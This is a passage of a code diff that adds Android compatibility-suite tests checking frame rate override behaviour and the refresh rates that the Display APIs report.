+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="com.android.cts.graphics.framerateoverride">
+    <!-- targetSdkVersion for this test must be below 30 -->
+    <uses-sdk android:targetSdkVersion="30"/>
+    <application
+        android:debuggable="true">
+        <uses-library android:name="android.test.runner" />
+
+        <activity
+            android:name="com.android.cts.graphics.framerateoverride.FrameRateOverrideTestActivity"
+            android:label="FrameRateCtsActivity"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
+            </intent-filter>
+        </activity>
+
+    </application>
+
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="com.android.cts.graphics.framerateoverride" />
+
+</manifest>
diff --git a/hostsidetests/graphics/framerateoverride/app/src/com/android/cts/graphics/framerateoverride/FrameRateOverrideTest.java b/hostsidetests/graphics/framerateoverride/app/src/com/android/cts/graphics/framerateoverride/FrameRateOverrideTest.java
new file mode 100644
index 0000000..40aafeb
--- /dev/null
+++ b/hostsidetests/graphics/framerateoverride/app/src/com/android/cts/graphics/framerateoverride/FrameRateOverrideTest.java
@@ -0,0 +1,217 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.graphics.framerateoverride;
+
+import android.Manifest;
+import android.app.compat.CompatChanges;
+import android.hardware.display.DisplayManager;
+import android.os.Handler;
+import android.os.Looper;
+import android.support.test.uiautomator.UiDevice;
+import android.sysprop.SurfaceFlingerProperties;
+import android.util.Log;
+import android.view.Display;
+import android.view.Window;
+import android.view.WindowManager;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.cts.graphics.framerateoverride.FrameRateOverrideTestActivity.FrameRateObserver;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Tests for frame rate override and the behaviour of {@link Display#getRefreshRate()} and
+ * {@link Display.Mode#getRefreshRate()} Api.
+ */
+@RunWith(AndroidJUnit4.class)
+public final class FrameRateOverrideTest {
+    private static final String TAG = "FrameRateOverrideTest";
+    // See b/170503758 for more details
+    private static final long DISPLAY_MODE_RETURNS_PHYSICAL_REFRESH_RATE_CHANGEID = 170503758;
+
+    // The tolerance within which we consider refresh rates are equal
+    private static final float REFRESH_RATE_TOLERANCE = 0.01f;
+
+    private int mInitialMatchContentFrameRate;
+    private DisplayManager mDisplayManager;
+
+
+    @Rule
+    public ActivityTestRule<FrameRateOverrideTestActivity> mActivityRule =
+            new ActivityTestRule<>(FrameRateOverrideTestActivity.class);
+
+    @Before
+    public void setUp() throws Exception {
+        final UiDevice uiDevice =
+                UiDevice.getInstance(
+                        androidx.test.platform.app.InstrumentationRegistry.getInstrumentation());
+        uiDevice.wakeUp();
+        uiDevice.executeShellCommand("wm dismiss-keyguard");
+
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .adoptShellPermissionIdentity(Manifest.permission.LOG_COMPAT_CHANGE,
+                        Manifest.permission.READ_COMPAT_CHANGE_CONFIG,
+                        Manifest.permission.MODIFY_REFRESH_RATE_SWITCHING_TYPE,
+                        Manifest.permission.OVERRIDE_DISPLAY_MODE_REQUESTS);
+
+        mDisplayManager = mActivityRule.getActivity().getSystemService(DisplayManager.class);
+        mInitialMatchContentFrameRate = mDisplayManager.getRefreshRateSwitchingType();
+        mDisplayManager.setRefreshRateSwitchingType(DisplayManager.SWITCHING_TYPE_NONE);
+        mDisplayManager.setShouldAlwaysRespectAppRequestedMode(true);
+        boolean changeIsEnabled =
+                CompatChanges.isChangeEnabled(DISPLAY_MODE_RETURNS_PHYSICAL_REFRESH_RATE_CHANGEID);
+        Log.e(TAG, "DISPLAY_MODE_RETURNS_PHYSICAL_REFRESH_RATE_CHANGEID is "
+                + (changeIsEnabled ? "enabled" : "disabled"));
+    }
+
+    @After
+    public void tearDown() {
+        mDisplayManager.setRefreshRateSwitchingType(mInitialMatchContentFrameRate);
+        mDisplayManager.setShouldAlwaysRespectAppRequestedMode(false);
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .dropShellPermissionIdentity();
+    }
+
+    private void setMode(Display.Mode mode) {
+        Handler handler = new Handler(Looper.getMainLooper());
+        handler.post(() -> {
+            Window window = mActivityRule.getActivity().getWindow();
+            WindowManager.LayoutParams params = window.getAttributes();
+            params.preferredDisplayModeId = mode.getModeId();
+            window.setAttributes(params);
+        });
+
+    }
+
+    private static boolean areEqual(float a, float b) {
+        return Math.abs(a - b) <= REFRESH_RATE_TOLERANCE;
+    }
+
+    // Find refresh rates where the device also natively supports half that rate with the same
+    // resolution (for example, a 120Hz mode when the device also supports a 60Hz mode).
+    private List<Display.Mode> getModesToTest() {
+        List<Display.Mode> modesToTest = new ArrayList<>();
+        if (!SurfaceFlingerProperties.enable_frame_rate_override().orElse(true)) {
+            return modesToTest;
+        }
+        Display.Mode[] modes = mActivityRule.getActivity().getDisplay().getSupportedModes();
+        for (Display.Mode mode : modes) {
+            for (Display.Mode otherMode : modes) {
+                if (mode.getModeId() == otherMode.getModeId()) {
+                    continue;
+                }
+
+                if (mode.getPhysicalHeight() != otherMode.getPhysicalHeight()
+                        || mode.getPhysicalWidth() != otherMode.getPhysicalWidth()) {
+                    continue;
+                }
+
+                if (areEqual(mode.getRefreshRate(), 2 * otherMode.getRefreshRate())) {
+                    modesToTest.add(mode);
+                }
+            }
+        }
+
+        return modesToTest;
+    }
+
+    private void testFrameRateOverride(FrameRateObserver frameRateObserver)
+            throws InterruptedException {
+        FrameRateOverrideTestActivity activity = mActivityRule.getActivity();
+        for (Display.Mode mode : getModesToTest()) {
+            setMode(mode);
+            activity.testFrameRateOverride(frameRateObserver, mode.getRefreshRate());
+        }
+    }
+
+    /**
+     * Test run by
+     * FrameRateOverrideHostTest.testBackpressureDisplayModeReturnsPhysicalRefreshRateEnabled and
+     * FrameRateOverrideHostTest.testBackpressureDisplayModeReturnsPhysicalRefreshRateDisabled
+     */
+    @Test
+    public void testBackpressure()
+            throws InterruptedException {
+        FrameRateOverrideTestActivity activity = mActivityRule.getActivity();
+        testFrameRateOverride(activity.new BackpressureFrameRateObserver());
+    }
+
+    /**
+     * Test run by
+     * FrameRateOverrideHostTest.testChoreographerDisplayModeReturnsPhysicalRefreshRateEnabled and
+     * FrameRateOverrideHostTest.testChoreographerDisplayModeReturnsPhysicalRefreshRateDisabled
+     */
+    @Test
+    public void testChoreographer()
+            throws InterruptedException {
+        FrameRateOverrideTestActivity activity = mActivityRule.getActivity();
+        testFrameRateOverride(activity.new ChoreographerFrameRateObserver());
+    }
+
+    /**
+     * Test run by
+     * FrameRateOverrideHostTest
+     * .testDisplayGetRefreshRateDisplayModeReturnsPhysicalRefreshRateEnabled
+     * and
+     * FrameRateOverrideHostTest
+     * .testDisplayGetRefreshRateDisplayModeReturnsPhysicalRefreshRateDisabled
+     */
+    @Test
+    public void testDisplayGetRefreshRate()
+            throws InterruptedException {
+        FrameRateOverrideTestActivity activity = mActivityRule.getActivity();
+        testFrameRateOverride(activity.new DisplayGetRefreshRateFrameRateObserver());
+    }
+
+    /**
+     * Test run by
+     * FrameRateOverrideHostTest
+     * .testDisplayModeGetRefreshRateDisplayModeReturnsPhysicalRefreshRateEnabled
+     */
+    @Test
+    public void testDisplayModeGetRefreshRateDisplayModeReturnsPhysicalRefreshRateEnabled()
+            throws InterruptedException {
+        FrameRateOverrideTestActivity activity = mActivityRule.getActivity();
+        testFrameRateOverride(
+                activity.new DisplayModeGetRefreshRateFrameRateObserver(
+                        /*displayModeReturnsPhysicalRefreshRateEnabled*/ true));
+    }
+
+    /**
+     * Test run by
+     * FrameRateOverrideHostTest
+     * .testDisplayModeGetRefreshRateDisplayModeReturnsPhysicalRefreshRateDisabled
+     */
+    @Test
+    public void testDisplayModeGetRefreshRateDisplayModeReturnsPhysicalRefreshRateDisabled()
+            throws InterruptedException {
+        FrameRateOverrideTestActivity activity = mActivityRule.getActivity();
+        testFrameRateOverride(
+                activity.new DisplayModeGetRefreshRateFrameRateObserver(
+                        /*displayModeReturnsPhysicalRefreshRateEnabled*/ false));
+    }
+}
diff --git a/hostsidetests/graphics/framerateoverride/app/src/com/android/cts/graphics/framerateoverride/FrameRateOverrideTestActivity.java b/hostsidetests/graphics/framerateoverride/app/src/com/android/cts/graphics/framerateoverride/FrameRateOverrideTestActivity.java
new file mode 100644
index 0000000..ccfefe8
--- /dev/null
+++ b/hostsidetests/graphics/framerateoverride/app/src/com/android/cts/graphics/framerateoverride/FrameRateOverrideTestActivity.java
@@ -0,0 +1,501 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.graphics.framerateoverride;
+
+import static org.junit.Assert.assertTrue;
+
+import android.app.Activity;
+import android.graphics.Canvas;
+import android.graphics.Color;
+import android.hardware.display.DisplayManager;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.Looper;
+import android.util.Log;
+import android.view.Choreographer;
+import android.view.Surface;
+import android.view.SurfaceHolder;
+import android.view.SurfaceView;
+import android.view.ViewGroup;
+
+import java.util.ArrayList;
+
+/**
+ * An Activity to help with frame rate testing.
+ */
+public class FrameRateOverrideTestActivity extends Activity {
+    private static final String TAG = "FrameRateOverrideTestActivity";
+    private static final long FRAME_RATE_SWITCH_GRACE_PERIOD_NANOSECONDS = 2 * 1_000_000_000L;
+    private static final long STABLE_FRAME_RATE_WAIT_NANOSECONDS = 1 * 1_000_000_000L;
+    private static final long POST_BUFFER_INTERVAL_NANOSECONDS = 500_000_000L;
+    private static final int PRECONDITION_WAIT_MAX_ATTEMPTS = 5;
+    private static final long PRECONDITION_WAIT_TIMEOUT_NANOSECONDS = 20 * 1_000_000_000L;
+    private static final long PRECONDITION_VIOLATION_WAIT_TIMEOUT_NANOSECONDS = 3 * 1_000_000_000L;
+    private static final float FRAME_RATE_TOLERANCE = 0.01f;
+    private static final float FPS_TOLERANCE_FOR_FRAME_RATE_OVERRIDE = 5;
+    private static final long FRAME_RATE_MIN_WAIT_TIME_NANOSECONDS = 1 * 1_000_000_000L;
+    private static final long FRAME_RATE_MAX_WAIT_TIME_NANOSECONDS = 10 * 1_000_000_000L;
+
+    private DisplayManager mDisplayManager;
+    private SurfaceView mSurfaceView;
+    private Handler mHandler = new Handler(Looper.getMainLooper());
+    private Object mLock = new Object();
+    private Surface mSurface = null;
+    private float mReportedDisplayRefreshRate;
+    private float mReportedDisplayModeRefreshRate;
+    private ArrayList<Float> mRefreshRateChangedEvents = new ArrayList<Float>();
+
+    private long mLastBufferPostTime;
+
+    SurfaceHolder.Callback mSurfaceHolderCallback = new SurfaceHolder.Callback() {
+        @Override
+        public void surfaceCreated(SurfaceHolder holder) {
+            synchronized (mLock) {
+                mSurface = holder.getSurface();
+                mLock.notify();
+            }
+        }
+
+        @Override
+        public void surfaceDestroyed(SurfaceHolder holder) {
+            synchronized (mLock) {
+                mSurface = null;
+                mLock.notify();
+            }
+        }
+
+        @Override
+        public void surfaceChanged(SurfaceHolder holder, int format, int width, int height) {
+        }
+    };
+
+    DisplayManager.DisplayListener mDisplayListener = new DisplayManager.DisplayListener() {
+        @Override
+        public void onDisplayAdded(int displayId) {
+        }
+
+        @Override
+        public void onDisplayChanged(int displayId) {
+            synchronized (mLock) {
+                float refreshRate = getDisplay().getRefreshRate();
+                float displayModeRefreshRate = getDisplay().getMode().getRefreshRate();
+                if (refreshRate != mReportedDisplayRefreshRate
+                        || displayModeRefreshRate != mReportedDisplayModeRefreshRate) {
+                    Log.i(TAG, String.format("Frame rate changed: (%.2f, %.2f) --> (%.2f, %.2f)",
+                                    mReportedDisplayModeRefreshRate,
+                                    mReportedDisplayRefreshRate,
+                                    displayModeRefreshRate,
+                                    refreshRate));
+                    mReportedDisplayRefreshRate = refreshRate;
+                    mReportedDisplayModeRefreshRate = displayModeRefreshRate;
+                    mRefreshRateChangedEvents.add(refreshRate);
+                    mLock.notify();
+                }
+            }
+        }
+
+        @Override
+        public void onDisplayRemoved(int displayId) {
+        }
+    };
+
+    private static class PreconditionViolatedException extends RuntimeException { }
+
+    private static class FrameRateTimeoutException extends RuntimeException {
+        FrameRateTimeoutException(float appRequestedFrameRate, float deviceRefreshRate) {
+            this.appRequestedFrameRate = appRequestedFrameRate;
+            this.deviceRefreshRate = deviceRefreshRate;
+        }
+
+        public float appRequestedFrameRate;
+        public float deviceRefreshRate;
+    }
+
+    public void postBufferToSurface(int color) {
+        mLastBufferPostTime = System.nanoTime();
+        Canvas canvas = mSurface.lockCanvas(null);
+        canvas.drawColor(color);
+        mSurface.unlockCanvasAndPost(canvas);
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        synchronized (mLock) {
+            mDisplayManager = getSystemService(DisplayManager.class);
+            mReportedDisplayRefreshRate = getDisplay().getRefreshRate();
+            mReportedDisplayModeRefreshRate = getDisplay().getMode().getRefreshRate();
+            mDisplayManager.registerDisplayListener(mDisplayListener, mHandler);
+            mSurfaceView = new SurfaceView(this);
+            mSurfaceView.setWillNotDraw(false);
+            setContentView(mSurfaceView,
+                    new ViewGroup.LayoutParams(ViewGroup.LayoutParams.MATCH_PARENT,
+                            ViewGroup.LayoutParams.MATCH_PARENT));
+            mSurfaceView.getHolder().addCallback(mSurfaceHolderCallback);
+        }
+    }
+
+    @Override
+    protected void onDestroy() {
+        super.onDestroy();
+        mDisplayManager.unregisterDisplayListener(mDisplayListener);
+        synchronized (mLock) {
+            mLock.notify();
+        }
+    }
+
+    private static boolean frameRatesEqual(float frameRate1, float frameRate2) {
+        return Math.abs(frameRate1 - frameRate2) <= FRAME_RATE_TOLERANCE;
+    }
+
+    private static boolean frameRatesMatchesOverride(float frameRate1, float frameRate2) {
+        return Math.abs(frameRate1 - frameRate2) <= FPS_TOLERANCE_FOR_FRAME_RATE_OVERRIDE;
+    }
+
+    // Waits until our SurfaceHolder has a surface and the activity is resumed.
+    private void waitForPreconditions() throws InterruptedException {
+        assertTrue(
+                "Activity was unexpectedly destroyed", !isDestroyed());
+        if (mSurface == null || !isResumed()) {
+            Log.i(TAG, String.format(
+                    "Waiting for preconditions. Have surface? %b. Activity resumed? %b.",
+                            mSurface != null, isResumed()));
+        }
+        long nowNanos = System.nanoTime();
+        long endTimeNanos = nowNanos + PRECONDITION_WAIT_TIMEOUT_NANOSECONDS;
+        while (mSurface == null || !isResumed()) {
+            long timeRemainingMillis = (endTimeNanos - nowNanos) / 1_000_000;
+            assertTrue(String.format("Timed out waiting for preconditions. Have surface? %b."
+                            + " Activity resumed? %b.",
+                    mSurface != null, isResumed()),
+                    timeRemainingMillis > 0);
+            mLock.wait(timeRemainingMillis);
+            assertTrue("Activity was unexpectedly destroyed", !isDestroyed());
+            nowNanos = System.nanoTime();
+        }
+    }
+
+    // Returns true if we encounter a precondition violation, false otherwise.
+    private boolean waitForPreconditionViolation() throws InterruptedException {
+        assertTrue("Activity was unexpectedly destroyed", !isDestroyed());
+        long nowNanos = System.nanoTime();
+        long endTimeNanos = nowNanos + PRECONDITION_VIOLATION_WAIT_TIMEOUT_NANOSECONDS;
+        while (mSurface != null && isResumed()) {
+            long timeRemainingMillis = (endTimeNanos - nowNanos) / 1_000_000;
+            if (timeRemainingMillis <= 0) {
+                break;
+            }
+            mLock.wait(timeRemainingMillis);
+            assertTrue("Activity was unexpectedly destroyed", !isDestroyed());
+            nowNanos = System.nanoTime();
+        }
+        return mSurface == null || !isResumed();
+    }
+
+    private void verifyPreconditions() {
+        if (mSurface == null || !isResumed()) {
+            throw new PreconditionViolatedException();
+        }
+    }
+
+    // Returns true if we reached waitUntilNanos, false if some other event occurred.
+    private boolean waitForEvents(long waitUntilNanos)
+            throws InterruptedException {
+        mRefreshRateChangedEvents.clear();
+        long nowNanos = System.nanoTime();
+        while (nowNanos < waitUntilNanos) {
+            long surfacePostTime = mLastBufferPostTime + POST_BUFFER_INTERVAL_NANOSECONDS;
+            long timeoutNs = Math.min(waitUntilNanos, surfacePostTime) - nowNanos;
+            long timeoutMs = timeoutNs / 1_000_000L;
+            int remainderNs = (int) (timeoutNs % 1_000_000L);
+            // Don't call wait(0, 0) - it blocks indefinitely.
+            if (timeoutMs > 0 || remainderNs > 0) {
+                mLock.wait(timeoutMs, remainderNs);
+            }
+            nowNanos = System.nanoTime();
+            verifyPreconditions();
+            if (!mRefreshRateChangedEvents.isEmpty()) {
+                return false;
+            }
+            if (nowNanos >= surfacePostTime) {
+                postBufferToSurface(Color.RED);
+            }
+        }
+        return true;
+    }
+
+    private void waitForRefreshRateChange(float expectedRefreshRate) throws InterruptedException {
+        Log.i(TAG, "Waiting for the refresh rate to change");
+        long nowNanos = System.nanoTime();
+        long gracePeriodEndTimeNanos =
+                nowNanos + FRAME_RATE_SWITCH_GRACE_PERIOD_NANOSECONDS;
+        while (true) {
+            // Wait until we switch to the expected refresh rate
+            while (!frameRatesEqual(mReportedDisplayRefreshRate, expectedRefreshRate)
+                    && !waitForEvents(gracePeriodEndTimeNanos)) {
+                // Empty
+            }
+            nowNanos = System.nanoTime();
+            if (nowNanos >= gracePeriodEndTimeNanos) {
+                throw new FrameRateTimeoutException(expectedRefreshRate,
+                        mReportedDisplayRefreshRate);
+            }
+
+            // We've switched to a compatible frame rate. Now wait for a while to see if we stay at
+            // that frame rate.
+            long endTimeNanos = nowNanos + STABLE_FRAME_RATE_WAIT_NANOSECONDS;
+            while (endTimeNanos > nowNanos) {
+                if (waitForEvents(endTimeNanos)) {
+                    Log.i(TAG, String.format("Stable frame rate %.2f verified",
+                            mReportedDisplayRefreshRate));
+                    return;
+                }
+                nowNanos = System.nanoTime();
+                if (!mRefreshRateChangedEvents.isEmpty()) {
+                    break;
+                }
+            }
+        }
+    }
+
+    interface FrameRateObserver {
+        void observe(float initialRefreshRate, float expectedFrameRate, String condition)
+                throws InterruptedException;
+    }
+
+    class BackpressureFrameRateObserver implements FrameRateObserver {
+        @Override
+        public void observe(float initialRefreshRate, float expectedFrameRate, String condition) {
+            long startTime = System.nanoTime();
+            int totalBuffers = 0;
+            float fps = 0;
+            while (System.nanoTime() - startTime <= FRAME_RATE_MAX_WAIT_TIME_NANOSECONDS) {
+                postBufferToSurface(Color.BLACK + totalBuffers);
+                totalBuffers++;
+                if (System.nanoTime() - startTime >= FRAME_RATE_MIN_WAIT_TIME_NANOSECONDS) {
+                    float testDuration = (System.nanoTime() - startTime) / 1e9f;
+                    fps = totalBuffers / testDuration;
+                    if (frameRatesMatchesOverride(fps, expectedFrameRate)) {
+                        Log.i(TAG,
+                                String.format("%s: backpressure observed refresh rate %.2f",
+                                        condition,
+                                        fps));
+                        return;
+                    }
+                }
+            }
+
+            assertTrue(String.format(
+                    "%s: backpressure observed refresh rate doesn't match the current refresh "
+                            + "rate. "
+                            + "expected: %.2f observed: %.2f", condition, expectedFrameRate, fps),
+                    frameRatesMatchesOverride(fps, expectedFrameRate));
+        }
+    }
+
+    class ChoreographerFrameRateObserver implements FrameRateObserver {
+        class ChoreographerThread extends Thread implements Choreographer.FrameCallback {
+            Choreographer mChoreographer;
+            long mStartTime;
+            public Handler mHandler;
+            Looper mLooper;
+            int mTotalCallbacks = 0;
+            long mEndTime;
+            float mExpectedRefreshRate;
+            String mCondition;
+
+            ChoreographerThread(float expectedRefreshRate, String condition)
+                    throws InterruptedException {
+                mExpectedRefreshRate = expectedRefreshRate;
+                mCondition = condition;
+            }
+
+            @Override
+            public void run() {
+                Looper.prepare();
+                mChoreographer = Choreographer.getInstance();
+                mHandler = new Handler();
+                mLooper = Looper.myLooper();
+                mStartTime = System.nanoTime();
+                mChoreographer.postFrameCallback(this);
+                Looper.loop();
+            }
+
+            @Override
+            public void doFrame(long frameTimeNanos) {
+                mTotalCallbacks++;
+                mEndTime = System.nanoTime();
+                if (mEndTime - mStartTime <= FRAME_RATE_MIN_WAIT_TIME_NANOSECONDS) {
+                    mChoreographer.postFrameCallback(this);
+                    return;
+                } else if (frameRatesMatchesOverride(mExpectedRefreshRate, getFps())
+                        || mEndTime - mStartTime > FRAME_RATE_MAX_WAIT_TIME_NANOSECONDS) {
+                    mLooper.quitSafely();
+                    return;
+                }
+                mChoreographer.postFrameCallback(this);
+            }
+
+            public void verifyFrameRate() throws InterruptedException {
+                float fps = getFps();
+                Log.i(TAG,
+                        String.format("%s: choreographer observed refresh rate %.2f",
+                                mCondition,
+                                fps));
+                assertTrue(String.format(
+                        "%s: choreographer observed refresh rate doesn't match the current "
+                                + "refresh rate. expected: %.2f observed: %.2f",
+                        mCondition, mExpectedRefreshRate, fps),
+                        frameRatesMatchesOverride(mExpectedRefreshRate, fps));
+            }
+
+            private float getFps() {
+                return mTotalCallbacks / ((mEndTime - mStartTime) / 1e9f);
+            }
+        }
+
+        @Override
+        public void observe(float initialRefreshRate, float expectedFrameRate, String condition)
+                throws InterruptedException {
+            ChoreographerThread thread = new ChoreographerThread(expectedFrameRate, condition);
+            thread.start();
+            thread.join();
+            thread.verifyFrameRate();
+        }
+    }
+
+    class DisplayGetRefreshRateFrameRateObserver implements FrameRateObserver {
+        @Override
+        public void observe(float initialRefreshRate, float expectedFrameRate, String condition) {
+            Log.i(TAG,
+                    String.format("%s: Display.getRefreshRate() returned refresh rate %.2f",
+                            condition, mReportedDisplayRefreshRate));
+            assertTrue(String.format("%s: Display.getRefreshRate() doesn't match the "
+                            + "current refresh. expected: %.2f observed: %.2f", condition,
+                    expectedFrameRate, mReportedDisplayRefreshRate),
+                    frameRatesMatchesOverride(mReportedDisplayRefreshRate, expectedFrameRate));
+        }
+    }
+
+    class DisplayModeGetRefreshRateFrameRateObserver implements FrameRateObserver {
+        private final boolean mDisplayModeReturnsPhysicalRefreshRateEnabled;
+
+        DisplayModeGetRefreshRateFrameRateObserver(
+                boolean displayModeReturnsPhysicalRefreshRateEnabled) {
+            mDisplayModeReturnsPhysicalRefreshRateEnabled =
+                    displayModeReturnsPhysicalRefreshRateEnabled;
+        }
+
+        @Override
+        public void observe(float initialRefreshRate, float expectedFrameRate, String condition) {
+            float expectedDisplayModeRefreshRate =
+                    mDisplayModeReturnsPhysicalRefreshRateEnabled ? initialRefreshRate
+                            : expectedFrameRate;
+            Log.i(TAG,
+                    String.format(
+                            "%s: Display.getMode().getRefreshRate() returned refresh rate %.2f",
+                            condition, mReportedDisplayModeRefreshRate));
+            assertTrue(String.format("%s: Display.getMode().getRefreshRate() doesn't match the "
+                            + "current refresh. expected: %.2f observed: %.2f", condition,
+                    expectedDisplayModeRefreshRate, mReportedDisplayModeRefreshRate),
+                    frameRatesMatchesOverride(mReportedDisplayModeRefreshRate,
+                            expectedDisplayModeRefreshRate));
+        }
+    }
+
+    private void testFrameRateOverrideBehavior(FrameRateObserver frameRateObserver,
+            float initialRefreshRate) throws InterruptedException {
+        Log.i(TAG, "Staring testFrameRateOverride");
+        float halfFrameRate = initialRefreshRate / 2;
+
+        waitForRefreshRateChange(initialRefreshRate);
+        frameRateObserver.observe(initialRefreshRate, initialRefreshRate, "Initial");
+
+        Log.i(TAG, String.format("Setting Frame Rate to %.2f with default compatibility",
+                halfFrameRate));
+        mSurface.setFrameRate(halfFrameRate, Surface.FRAME_RATE_COMPATIBILITY_DEFAULT, true);
+        waitForRefreshRateChange(halfFrameRate);
+        frameRateObserver.observe(initialRefreshRate, halfFrameRate, "setFrameRate(default)");
+
+        Log.i(TAG, String.format("Setting Frame Rate to %.2f with fixed source compatibility",
+                halfFrameRate));
+        mSurface.setFrameRate(halfFrameRate, Surface.FRAME_RATE_COMPATIBILITY_FIXED_SOURCE, true);
+        waitForRefreshRateChange(halfFrameRate);
+        frameRateObserver.observe(initialRefreshRate, halfFrameRate, "setFrameRate(fixed source)");
+
+        Log.i(TAG, "Resetting Frame Rate setting");
+        mSurface.setFrameRate(0, Surface.FRAME_RATE_COMPATIBILITY_DEFAULT, true);
+        waitForRefreshRateChange(initialRefreshRate);
+        frameRateObserver.observe(initialRefreshRate, initialRefreshRate, "Reset");
+    }
+
+    // The activity being intermittently paused/resumed has been observed to
+    // cause test failures in practice, so we run the test with retry logic.
+    public void testFrameRateOverride(FrameRateObserver frameRateObserver, float initialRefreshRate)
+            throws InterruptedException {
+        synchronized (mLock) {
+            Log.i(TAG, "testFrameRateOverride started");
+            int attempts = 0;
+            boolean testPassed = false;
+            try {
+                while (!testPassed) {
+                    waitForPreconditions();
+                    try {
+                        testFrameRateOverrideBehavior(frameRateObserver, initialRefreshRate);
+                        testPassed = true;
+                    } catch (PreconditionViolatedException exc) {
+                        // The logic below will retry if we're below max attempts.
+                    } catch (FrameRateTimeoutException exc) {
+                        // Sometimes we get a test timeout failure before we get the
+                        // notification that the activity was paused, and it was the pause that
+                        // caused the timeout failure. Wait for a bit to see if we get notified
+                        // of a precondition violation, and if so, retry the test. Otherwise
+                        // fail.
+                        assertTrue(
+                                String.format(
+                                        "Timed out waiting for a stable and compatible frame"
+                                                + " rate. requested=%.2f received=%.2f.",
+                                        exc.appRequestedFrameRate, exc.deviceRefreshRate),
+                                waitForPreconditionViolation());
+                    }
+
+                    if (!testPassed) {
+                        Log.i(TAG,
+                                String.format("Preconditions violated while running the test."
+                                                + " Have surface? %b. Activity resumed? %b.",
+                                        mSurface != null,
+                                        isResumed()));
+                        attempts++;
+                        assertTrue(String.format(
+                                "Exceeded %d precondition wait attempts. Giving up.",
+                                PRECONDITION_WAIT_MAX_ATTEMPTS),
+                                attempts < PRECONDITION_WAIT_MAX_ATTEMPTS);
+                    }
+                }
+            } finally {
+                String passFailMessage = String.format(
+                        "%s", testPassed ? "Passed" : "Failed");
+                if (testPassed) {
+                    Log.i(TAG, passFailMessage);
+                } else {
+                    Log.e(TAG, passFailMessage);
+                }
+            }
+
+        }
+    }
+}
diff --git a/hostsidetests/graphics/framerateoverride/src/com/android/cts/graphics/framerateoverride/FrameRateOverrideHostTest.java b/hostsidetests/graphics/framerateoverride/src/com/android/cts/graphics/framerateoverride/FrameRateOverrideHostTest.java
new file mode 100644
index 0000000..12162d9
--- /dev/null
+++ b/hostsidetests/graphics/framerateoverride/src/com/android/cts/graphics/framerateoverride/FrameRateOverrideHostTest.java
@@ -0,0 +1,125 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.graphics.framerateoverride;
+
+import android.compat.cts.CompatChangeGatingTestCase;
+import android.view.Display;
+
+import com.google.common.collect.ImmutableSet;
+
+/**
+ * Tests for frame rate override and the behavior of {@link Display#getRefreshRate()} and
+ * {@link Display.Mode#getRefreshRate()} Api.
+ */
+public class FrameRateOverrideHostTest extends CompatChangeGatingTestCase {
+
+    protected static final String TEST_APK = "CtsHostsideFrameRateOverrideTestsApp.apk";
+    protected static final String TEST_PKG = "com.android.cts.graphics.framerateoverride";
+
+    // See b/170503758 for more details
+    private static final long DISPLAY_MODE_RETURNS_PHYSICAL_REFRESH_RATE_CHANGEID = 170503758;
+
+    @Override
+    protected void setUp() throws Exception {
+        installPackage(TEST_APK, true);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        uninstallPackage(TEST_PKG, true);
+    }
+
+    public void testBackpressureDisplayModeReturnsPhysicalRefreshRateEnabled()
+            throws Exception {
+        runDeviceCompatTest(TEST_PKG, ".FrameRateOverrideTest",
+                "testBackpressure",
+                /*enabledChanges*/
+                ImmutableSet.of(DISPLAY_MODE_RETURNS_PHYSICAL_REFRESH_RATE_CHANGEID),
+                /*disabledChanges*/
+                ImmutableSet.of());
+    }
+
+    public void testBackpressureDisplayModeReturnsPhysicalRefreshRateDisabled()
+            throws Exception {
+        runDeviceCompatTest(TEST_PKG, ".FrameRateOverrideTest",
+                "testBackpressure",
+                /*enabledChanges*/
+                ImmutableSet.of(),
+                /*disabledChanges*/
+                ImmutableSet.of(DISPLAY_MODE_RETURNS_PHYSICAL_REFRESH_RATE_CHANGEID));
+    }
+
+    public void testChoreographerDisplayModeReturnsPhysicalRefreshRateEnabled()
+            throws Exception {
